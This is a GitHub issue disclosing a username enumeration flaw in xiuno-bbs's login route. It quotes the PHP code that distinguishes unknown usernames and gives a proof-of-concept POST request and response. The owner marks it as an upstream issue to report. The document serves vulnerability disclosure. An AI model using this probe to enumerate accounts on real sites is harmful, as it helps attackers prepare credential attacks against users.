New issue

Jump to bottom

User Name Enumeration Vulnerability #3

Closed shun-gg opened this issue on Dec 5, 2019 · 2 comments

Labels upstream

shun-gg commented on Dec 5, 2019 • edited

route\user.php line 67-82;

```
include _include(APP_PATH.'view/htm/user_login.htm');

        } else if($method == 'POST') {

                // hook user_login_post_start.php

                $email = param('email');                        // 邮箱或者手机号 / email or mobile
                $password = param('password');
                empty($email) AND message('email', lang('email_is_empty'));
                if(is_email($email, $err)) {
                        $_user = user_read_by_email($email);
                        empty($_user) AND message('email', lang('email_not_exists'));
                } else {
                        $_user = user_read_by_username($email);
                        empty($_user) AND message('email', lang('username_not_exists'));
                }
```

lang\zh-cn\bbs.php line 120;

```
'username_not_exists' => '用户名不存在',
```

Know the username by traversing the login parameter value

email=...&

POC:

```
POST /?user-login.htm HTTP/1.1
Host: 192.168.1.5
Content-Length: 54
Accept: text/plain, */*; q=0.01
Origin: http://127.0.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3941.4 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/?user-login.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bbs_sid=c0ku6ujq1411p9fqbf9vvdricn
Connection: close


email=test&password=4297f44b13955235245b2497399d7a93
```

Response

```
HTTP/1.1 200 OK
Date: Thu, 05 Dec 2019 14:51:29 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/7.2.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 60

{
    "code": "email",
    "message": "用户名不存在"
}
```

rayfalling commented on Jan 1, 2020 Owner

well, this is the issue of xiuno-bbs, not in my docker environment

rayfalling added the upstream label on Jan 1, 2020

rayfalling commented on Jan 1, 2020 Owner

will report to xiuno developers

 **rayfalling** closed this as completed on Jan 1, 2020

Assignees

No one assigned

Labels

upstream

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants